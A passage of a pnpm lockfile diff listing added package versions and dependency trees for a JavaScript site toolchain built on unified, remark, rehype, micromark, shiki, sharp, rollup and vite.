space-separated-tokens: 2.0.2 + style-to-js: 1.1.21 + unist-util-position: 5.0.0 + zwitch: 2.0.4 + transitivePeerDependencies: + - supports-color + + hast-util-to-html@9.0.5: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + ccount: 2.0.1 + comma-separated-tokens: 2.0.3 + hast-util-whitespace: 3.0.0 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.1 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + stringify-entities: 4.0.4 + zwitch: 2.0.4 + + hast-util-to-jsx-runtime@2.3.6: + dependencies: + '@types/estree': 1.0.8 + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + hast-util-whitespace: 3.0.0 + mdast-util-mdx-expression: 2.0.1 + mdast-util-mdx-jsx: 3.2.0 + mdast-util-mdxjs-esm: 2.0.1 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + style-to-js: 1.1.21 + unist-util-position: 5.0.0 + vfile-message: 4.0.3 + transitivePeerDependencies: + - supports-color + + hast-util-to-parse5@8.0.1: + dependencies: + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + + hast-util-to-string@3.0.1: + dependencies: + '@types/hast': 3.0.4 + + hast-util-to-text@4.0.2: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + hast-util-is-element: 3.0.0 + unist-util-find-after: 5.0.0 + + hast-util-whitespace@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hastscript@9.0.1: + dependencies: + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + hast-util-parse-selector: 4.0.0 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + + hex-rgb@4.3.0: {} + + html-escaper@3.0.3: {} + + html-void-elements@3.0.0: {} + + http-cache-semantics@4.2.0: {} + + import-meta-resolve@4.2.0: {} + + inline-style-parser@0.2.7: {} + + iron-webcrypto@1.2.1: {} + + is-alphabetical@2.0.1: {} + + is-alphanumerical@2.0.1: + dependencies: + is-alphabetical: 2.0.1 + is-decimal: 2.0.1 + + is-decimal@2.0.1: {} + + is-docker@3.0.0: {} + + is-fullwidth-code-point@3.0.0: {} + + is-hexadecimal@2.0.1: {} + + is-inside-container@1.0.0: + dependencies: + is-docker: 3.0.0 + + is-plain-obj@4.1.0: {} + + is-wsl@3.1.0: + dependencies: + is-inside-container: 1.0.0 + + js-tokens@4.0.0: {} + + js-yaml@4.1.1: + dependencies: + argparse: 2.0.1 + + jsesc@3.1.0: {} + + json-schema-traverse@1.0.0: {} + + json5@2.2.3: {} + + jsonc-parser@2.3.1: {} + + jsonc-parser@3.3.1: {} + + kleur@3.0.3: {} + + kleur@4.1.5: {} + + linebreak@1.1.0: + dependencies: + base64-js: 0.0.8 + unicode-trie: 2.0.0 + + lodash@4.17.21: {} + + longest-streak@3.1.0: {} + + lru-cache@10.4.3: {} + + lru-cache@5.1.1: + dependencies: + yallist: 3.1.1 + + magic-string@0.30.21: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + magicast@0.5.1: + dependencies: + '@babel/parser': 7.28.5 + '@babel/types': 7.28.5 + source-map-js: 1.2.1 + + markdown-extensions@2.0.0: {} + + markdown-table@3.0.4: {} + + mdast-util-definitions@6.0.0: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + unist-util-visit: 5.0.0 + + mdast-util-find-and-replace@3.0.2: + dependencies: + '@types/mdast': 4.0.4 + escape-string-regexp: 5.0.0 + unist-util-is: 6.0.1 + unist-util-visit-parents: 6.0.2 + + mdast-util-from-markdown@2.0.2: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + decode-named-character-reference: 1.2.0 + devlop: 1.1.0 + mdast-util-to-string: 4.0.0 + micromark: 4.0.2 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-decode-string: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-stringify-position: 4.0.0 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-autolink-literal@2.0.1: + dependencies: + '@types/mdast': 4.0.4 + ccount: 2.0.1 + devlop: 1.1.0 + mdast-util-find-and-replace: 3.0.2 + micromark-util-character: 2.1.1 + + mdast-util-gfm-footnote@2.1.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + micromark-util-normalize-identifier: 2.0.1 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-strikethrough@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-table@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + markdown-table: 3.0.4 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-task-list-item@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm@3.1.0: + dependencies: + mdast-util-from-markdown: 2.0.2 + mdast-util-gfm-autolink-literal: 2.0.1 + mdast-util-gfm-footnote: 2.1.0 + mdast-util-gfm-strikethrough: 2.0.0 + mdast-util-gfm-table: 2.0.0 + mdast-util-gfm-task-list-item: 2.0.0 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx-expression@2.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx-jsx@3.2.0: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + ccount: 2.0.1 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + parse-entities: 4.0.2 + stringify-entities: 4.0.4 + unist-util-stringify-position: 4.0.0 + vfile-message: 4.0.3 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx@3.0.0: + dependencies: + mdast-util-from-markdown: 2.0.2 + mdast-util-mdx-expression: 2.0.1 + mdast-util-mdx-jsx: 3.2.0 + mdast-util-mdxjs-esm: 2.0.1 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-mdxjs-esm@2.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.2 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-phrasing@4.1.0: + dependencies: + '@types/mdast': 4.0.4 + unist-util-is: 6.0.1 + + mdast-util-to-hast@13.2.1: + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + '@ungap/structured-clone': 1.3.0 + devlop: 1.1.0 + micromark-util-sanitize-uri: 2.0.1 + trim-lines: 3.0.1 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + + mdast-util-to-markdown@2.1.2: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + longest-streak: 3.1.0 + mdast-util-phrasing: 4.1.0 + mdast-util-to-string: 4.0.0 + micromark-util-classify-character: 2.0.1 + micromark-util-decode-string: 2.0.1 + unist-util-visit: 5.0.0 + zwitch: 2.0.4 + + mdast-util-to-string@4.0.0: + dependencies: + '@types/mdast': 4.0.4 + + mdn-data@2.0.28: {} + + mdn-data@2.12.2: {} + + micromark-core-commonmark@2.0.3: + dependencies: + decode-named-character-reference: 1.2.0 + devlop: 1.1.0 + micromark-factory-destination: 2.0.1 + micromark-factory-label: 2.0.1 + micromark-factory-space: 2.0.1 + micromark-factory-title: 2.0.1 + micromark-factory-whitespace: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-chunked: 2.0.1 + micromark-util-classify-character: 2.0.1 + micromark-util-html-tag-name: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-subtokenize: 2.1.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-autolink-literal@2.1.0: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-footnote@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-strikethrough@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-util-chunked: 2.0.1 + micromark-util-classify-character: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-table@2.1.1: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-tagfilter@2.0.0: + dependencies: + micromark-util-types: 2.0.2 + + micromark-extension-gfm-task-list-item@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm@3.0.0: + dependencies: + micromark-extension-gfm-autolink-literal: 2.1.0 + micromark-extension-gfm-footnote: 2.1.0 + micromark-extension-gfm-strikethrough: 2.1.0 + micromark-extension-gfm-table: 2.1.1 + micromark-extension-gfm-tagfilter: 2.0.0 + micromark-extension-gfm-task-list-item: 2.1.0 + micromark-util-combine-extensions: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-mdx-expression@3.0.1: + dependencies: + '@types/estree': 1.0.8 + devlop: 1.1.0 + micromark-factory-mdx-expression: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-mdx-jsx@3.0.2: + dependencies: + '@types/estree': 1.0.8 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + micromark-factory-mdx-expression: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + vfile-message: 4.0.3 + + micromark-extension-mdx-md@2.0.0: + dependencies: + micromark-util-types: 2.0.2 + + micromark-extension-mdxjs-esm@3.0.0: + dependencies: + '@types/estree': 1.0.8 + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-position-from-estree: 2.0.0 + vfile-message: 4.0.3 + + micromark-extension-mdxjs@3.0.0: + dependencies: + acorn: 8.15.0 + acorn-jsx: 5.3.2(acorn@8.15.0) + micromark-extension-mdx-expression: 3.0.1 + micromark-extension-mdx-jsx: 3.0.2 + micromark-extension-mdx-md: 2.0.0 + micromark-extension-mdxjs-esm: 3.0.0 + micromark-util-combine-extensions: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-destination@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-label@2.0.1: + dependencies: + devlop: 1.1.0 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-mdx-expression@2.0.3: + dependencies: + '@types/estree': 1.0.8 + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-position-from-estree: 2.0.0 + vfile-message: 4.0.3 + + micromark-factory-space@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-types: 2.0.2 + + micromark-factory-title@2.0.1: + dependencies: + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-whitespace@2.0.1: + dependencies: + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-character@2.1.1: + dependencies: + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-chunked@2.0.1: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-classify-character@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-combine-extensions@2.0.1: + dependencies: + micromark-util-chunked: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-decode-numeric-character-reference@2.0.2: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-decode-string@2.0.1: + dependencies: + decode-named-character-reference: 1.2.0 + micromark-util-character: 2.1.1 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-symbol: 2.0.1 + + micromark-util-encode@2.0.1: {} + + micromark-util-events-to-acorn@2.0.3: + dependencies: + '@types/estree': 1.0.8 + '@types/unist': 3.0.3 + devlop: 1.1.0 + estree-util-visit: 2.0.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + vfile-message: 4.0.3 + + micromark-util-html-tag-name@2.0.1: {} + + micromark-util-normalize-identifier@2.0.1: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-resolve-all@2.0.1: + dependencies: + micromark-util-types: 2.0.2 + + micromark-util-sanitize-uri@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-encode: 2.0.1 + micromark-util-symbol: 2.0.1 + + micromark-util-subtokenize@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-util-chunked: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-symbol@2.0.1: {} + + micromark-util-types@2.0.2: {} + + micromark@4.0.2: + dependencies: + '@types/debug': 4.1.12 + debug: 4.4.3 + decode-named-character-reference: 1.2.0 + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-chunked: 2.0.1 + micromark-util-combine-extensions: 2.0.1 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-encode: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-subtokenize: 2.1.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + transitivePeerDependencies: + - supports-color + + mrmime@2.0.1: {} + + ms@2.1.3: {} + + muggle-string@0.4.1: {} + + nanoid@3.3.11: {} + + neotraverse@0.6.18: {} + + nlcst-to-string@4.0.0: + dependencies: + '@types/nlcst': 2.0.3 + + node-fetch-native@1.6.7: {} + + node-mock-http@1.0.4: {} + + node-releases@2.0.27: {} + + normalize-path@3.0.0: {} + + nth-check@2.1.1: + dependencies: + boolbase: 1.0.0 + + ofetch@1.5.1: + dependencies: + destr: 2.0.5 + node-fetch-native: 1.6.7 + ufo: 1.6.1 + + ohash@2.0.11: {} + + oniguruma-parser@0.12.1: {} + + oniguruma-to-es@4.3.4: + dependencies: + oniguruma-parser: 0.12.1 + regex: 6.1.0 + regex-recursion: 6.0.2 + + p-limit@6.2.0: + dependencies: + yocto-queue: 1.2.2 + + p-queue@8.1.1: + dependencies: + eventemitter3: 5.0.1 + p-timeout: 6.1.4 + + p-timeout@6.1.4: {} + + package-manager-detector@1.6.0: {} + + pako@0.2.9: {} + + parse-css-color@0.2.1: + dependencies: + color-name: 1.1.4 + hex-rgb: 4.3.0 + + parse-entities@4.0.2: + dependencies: + '@types/unist': 2.0.11 + character-entities-legacy: 3.0.0 + character-reference-invalid: 2.0.1 + decode-named-character-reference: 1.2.0 + is-alphanumerical: 2.0.1 + is-decimal: 2.0.1 + is-hexadecimal: 2.0.1 + + parse-latin@7.0.0: + dependencies: + '@types/nlcst': 2.0.3 + '@types/unist': 3.0.3 + nlcst-to-string: 4.0.0 + unist-util-modify-children: 4.0.0 + unist-util-visit-children: 3.0.0 + vfile: 6.0.3 + + parse5@7.3.0: + dependencies: + entities: 6.0.1 + + path-browserify@1.0.1: {} + + piccolore@0.1.3: {} + + picocolors@1.1.1: {} + + picomatch@2.3.1: {} + + picomatch@4.0.3: {} + + postcss-nested@6.2.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + + postcss-selector-parser@6.1.2: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-value-parser@4.2.0: {} + + postcss@8.5.6: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prettier-plugin-astro@0.14.1: + dependencies: + '@astrojs/compiler': 2.13.0 + prettier: 3.7.4 + sass-formatter: 0.7.9 + + prettier@3.7.4: {} + + prismjs@1.30.0: {} + + prompts@2.4.2: + dependencies: + kleur: 3.0.3 + sisteransi: 1.0.5 + + property-information@7.1.0: {} + + radix3@1.1.2: {} + + react-dom@19.2.3(react@19.2.3): + dependencies: + react: 19.2.3 + scheduler: 0.27.0 + + react-refresh@0.17.0: {} + + react@19.2.3: {} + + readdirp@4.1.2: {} + + recma-build-jsx@1.0.0: + dependencies: + '@types/estree': 1.0.8 + estree-util-build-jsx: 3.0.1 + vfile: 6.0.3 + + recma-jsx@1.0.1(acorn@8.15.0): + dependencies: + acorn: 8.15.0 + acorn-jsx: 5.3.2(acorn@8.15.0) + estree-util-to-js: 2.0.0 + recma-parse: 1.0.0 + recma-stringify: 1.0.0 + unified: 11.0.5 + + recma-parse@1.0.0: + dependencies: + '@types/estree': 1.0.8 + esast-util-from-js: 2.0.1 + unified: 11.0.5 + vfile: 6.0.3 + + recma-stringify@1.0.0: + dependencies: + '@types/estree': 1.0.8 + estree-util-to-js: 2.0.0 + unified: 11.0.5 + vfile: 6.0.3 + + regex-recursion@6.0.2: + dependencies: + regex-utilities: 2.3.0 + + regex-utilities@2.3.0: {} + + regex@6.1.0: + dependencies: + regex-utilities: 2.3.0 + + rehype-expressive-code@0.41.5: + dependencies: + expressive-code: 0.41.5 + + rehype-parse@9.0.1: + dependencies: + '@types/hast': 3.0.4 + hast-util-from-html: 2.0.3 + unified: 11.0.5 + + rehype-raw@7.0.0: + dependencies: + '@types/hast': 3.0.4 + hast-util-raw: 9.1.0 + vfile: 6.0.3 + + rehype-recma@1.0.0: + dependencies: + '@types/estree': 1.0.8 + '@types/hast': 3.0.4 + hast-util-to-estree: 3.1.3 + transitivePeerDependencies: + - supports-color + + rehype-stringify@10.0.1: + dependencies: + '@types/hast': 3.0.4 + hast-util-to-html: 9.0.5 + unified: 11.0.5 + + rehype@13.0.2: + dependencies: + '@types/hast': 3.0.4 + rehype-parse: 9.0.1 + rehype-stringify: 10.0.1 + unified: 11.0.5 + + remark-gfm@4.0.1: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-gfm: 3.1.0 + micromark-extension-gfm: 3.0.0 + remark-parse: 11.0.0 + remark-stringify: 11.0.0 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-mdx@3.1.1: + dependencies: + mdast-util-mdx: 3.0.0 + micromark-extension-mdxjs: 3.0.0 + transitivePeerDependencies: + - supports-color + + remark-parse@11.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-from-markdown: 2.0.2 + micromark-util-types: 2.0.2 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-rehype@11.1.2: + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + mdast-util-to-hast: 13.2.1 + unified: 11.0.5 + vfile: 6.0.3 + + remark-smartypants@3.0.2: + dependencies: + retext: 9.0.0 + retext-smartypants: 6.2.0 + unified: 11.0.5 + unist-util-visit: 5.0.0 + + remark-stringify@11.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-to-markdown: 2.1.2 + unified: 11.0.5 + + request-light@0.5.8: {} + + request-light@0.7.0: {} + + require-directory@2.1.1: {} + + require-from-string@2.0.2: {} + + restructure@3.0.2: {} + + retext-latin@4.0.0: + dependencies: + '@types/nlcst': 2.0.3 + parse-latin: 7.0.0 + unified: 11.0.5 + + retext-smartypants@6.2.0: + dependencies: + '@types/nlcst': 2.0.3 + nlcst-to-string: 4.0.0 + unist-util-visit: 5.0.0 + + retext-stringify@4.0.0: + dependencies: + '@types/nlcst': 2.0.3 + nlcst-to-string: 4.0.0 + unified: 11.0.5 + + retext@9.0.0: + dependencies: + '@types/nlcst': 2.0.3 + retext-latin: 4.0.0 + retext-stringify: 4.0.0 + unified: 11.0.5 + + rollup@4.53.3: + dependencies: + '@types/estree': 1.0.8 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.53.3 + '@rollup/rollup-android-arm64': 4.53.3 + '@rollup/rollup-darwin-arm64': 4.53.3 + '@rollup/rollup-darwin-x64': 4.53.3 + '@rollup/rollup-freebsd-arm64': 4.53.3 + '@rollup/rollup-freebsd-x64': 4.53.3 + '@rollup/rollup-linux-arm-gnueabihf': 4.53.3 + '@rollup/rollup-linux-arm-musleabihf': 4.53.3 + '@rollup/rollup-linux-arm64-gnu': 4.53.3 + '@rollup/rollup-linux-arm64-musl': 4.53.3 + '@rollup/rollup-linux-loong64-gnu': 4.53.3 + '@rollup/rollup-linux-ppc64-gnu': 4.53.3 + '@rollup/rollup-linux-riscv64-gnu': 4.53.3 + '@rollup/rollup-linux-riscv64-musl': 4.53.3 + '@rollup/rollup-linux-s390x-gnu': 4.53.3 + '@rollup/rollup-linux-x64-gnu': 4.53.3 + '@rollup/rollup-linux-x64-musl': 4.53.3 + '@rollup/rollup-openharmony-arm64': 4.53.3 + '@rollup/rollup-win32-arm64-msvc': 4.53.3 + '@rollup/rollup-win32-ia32-msvc': 4.53.3 + '@rollup/rollup-win32-x64-gnu': 4.53.3 + '@rollup/rollup-win32-x64-msvc': 4.53.3 + fsevents: 2.3.3 + + s.color@0.0.15: {} + + sass-formatter@0.7.9: + dependencies: + suf-log: 2.5.3 + + satori@0.19.1: + dependencies: + '@shuding/opentype.js': 1.4.0-beta.0 + css-background-parser: 0.1.0 + css-box-shadow: 1.0.0-3 + css-gradient-parser: 0.0.17 + css-to-react-native: 3.2.0 + emoji-regex-xs: 2.0.1 + escape-html: 1.0.3 + linebreak: 1.1.0 + parse-css-color: 0.2.1 + postcss-value-parser: 4.2.0 + yoga-layout: 3.2.1 + + sax@1.4.3: {} + + scheduler@0.27.0: {} + + semver@6.3.1: {} + + semver@7.7.3: {} + + sharp@0.34.5: + dependencies: + '@img/colour': 1.0.0 + detect-libc: 2.1.2 + semver: 7.7.3 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.34.5 + '@img/sharp-darwin-x64': 0.34.5 + '@img/sharp-libvips-darwin-arm64': 1.2.4 + '@img/sharp-libvips-darwin-x64': 1.2.4 + '@img/sharp-libvips-linux-arm': 1.2.4 + '@img/sharp-libvips-linux-arm64': 1.2.4 + '@img/sharp-libvips-linux-ppc64': 1.2.4 + '@img/sharp-libvips-linux-riscv64': 1.2.4 + '@img/sharp-libvips-linux-s390x': 1.2.4 + '@img/sharp-libvips-linux-x64': 1.2.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + '@img/sharp-linux-arm': 0.34.5 + '@img/sharp-linux-arm64': 0.34.5 + '@img/sharp-linux-ppc64': 0.34.5 + '@img/sharp-linux-riscv64': 0.34.5 + '@img/sharp-linux-s390x': 0.34.5 + '@img/sharp-linux-x64': 0.34.5 + '@img/sharp-linuxmusl-arm64': 0.34.5 + '@img/sharp-linuxmusl-x64': 0.34.5 + '@img/sharp-wasm32': 0.34.5 + '@img/sharp-win32-arm64': 0.34.5 + '@img/sharp-win32-ia32': 0.34.5 + '@img/sharp-win32-x64': 0.34.5 + + shiki@3.19.0: + dependencies: + '@shikijs/core': 3.19.0 + '@shikijs/engine-javascript': 3.19.0 + '@shikijs/engine-oniguruma': 3.19.0 + '@shikijs/langs': 3.19.0 + '@shikijs/themes': 3.19.0 + '@shikijs/types': 3.19.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + + sisteransi@1.0.5: {} + + sitemap@8.0.2: + dependencies: + '@types/node': 17.0.45 + '@types/sax': 1.2.7 + arg: 5.0.2 + sax: 1.4.3 + + smol-toml@1.5.2: {} + + source-map-js@1.2.1: {} + + source-map@0.7.6: {} + + space-separated-tokens@2.0.2: {} + + stream-replace-string@2.0.0: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string-width@7.2.0: + dependencies: + emoji-regex: 10.6.0 + get-east-asian-width: 1.4.0 + strip-ansi: 7.1.2 + + string.prototype.codepointat@0.2.1: {} + + stringify-entities@4.0.4: + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-ansi@7.1.2: + dependencies: + ansi-regex: 6.2.2 + + style-to-js@1.1.21: + dependencies: + style-to-object: 1.0.14 + + style-to-object@1.0.14: + dependencies: + inline-style-parser: 0.2.7 + + suf-log@2.5.3: + dependencies: + s.color: 0.0.15 + + svgo@4.0.0: + dependencies: + commander: 11.1.0 + css-select: 5.2.2 + css-tree: 3.1.0 + css-what: 6.2.2 + csso: 5.0.5 + picocolors: 1.1.1 + sax: 1.4.3 + + tiny-inflate@1.0.3: {} + + tinyexec@1.0.2: {} + + tinyglobby@0.2.15: + dependencies: + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + + trim-lines@3.0.1: {} + + trough@2.2.0: {} + + tsconfck@3.1.6(typescript@5.9.3): + optionalDependencies: + typescript: 5.9.3 + + tslib@2.8.1: {} + + type-fest@4.41.0: {} + + typesafe-path@0.2.2: {} + + typescript-auto-import-cache@0.3.6: + dependencies: + semver: 7.7.3 + + typescript@5.9.3: {} + + ufo@1.6.1: {} + + ultrahtml@1.6.0: {} + + uncrypto@0.1.3: {} + + undici-types@7.16.0: {} + + unicode-properties@1.4.1: + dependencies: + base64-js: 1.5.1 + unicode-trie: 2.0.0 + + unicode-trie@2.0.0: + dependencies: + pako: 0.2.9 + tiny-inflate: 1.0.3 + + unified@11.0.5: + dependencies: + '@types/unist': 3.0.3 + bail: 2.0.2 + devlop: 1.1.0 + extend: 3.0.2 + is-plain-obj: 4.1.0 + trough: 2.2.0 + vfile: 6.0.3 + + unifont@0.6.0: + dependencies: + css-tree: 3.1.0 + ofetch: 1.5.1 + ohash: 2.0.11 + + unist-util-find-after@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + + unist-util-is@6.0.1: + dependencies: + '@types/unist': 3.0.3 + + unist-util-modify-children@4.0.0: + dependencies: + '@types/unist': 3.0.3 + array-iterate: 2.0.1 + + unist-util-position-from-estree@2.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-remove-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-visit: 5.0.0 + + unist-util-stringify-position@4.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-children@3.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-parents@6.0.2: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + + unist-util-visit@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + unist-util-visit-parents: 6.0.2 + + unstorage@1.17.3: + dependencies: + anymatch: 3.1.3 + chokidar: 4.0.3 + destr: 2.0.5 + h3: 1.15.4 + lru-cache: 10.4.3 + node-fetch-native: 1.6.7 + ofetch: 1.5.1 + ufo: 1.6.1 + + update-browserslist-db@1.2.3(browserslist@4.28.1): + dependencies: + browserslist: 4.28.1 + escalade: 3.2.0 + picocolors: 1.1.1 + + util-deprecate@1.0.2: {} + + vfile-location@5.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile: 6.0.3 + + vfile-message@4.0.3: + dependencies: + '@types/unist': 3.0.3 + unist-util-stringify-position: 4.0.0 + + vfile@6.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile-message: 4.0.3 + + vite@6.4.1(@types/node@24.10.2)(yaml@2.8.2): + dependencies: + esbuild: 0.25.12 + fdir: 6.5.0(picomatch@4.0.3) + picomatch: 4.0.3 + postcss: 8.5.6 + rollup: 4.53.3 + tinyglobby: 0.2.15 + optionalDependencies: + '@types/node': 24.10.2 + fsevents: 2.3.3 + yaml: 2.8.2 + + 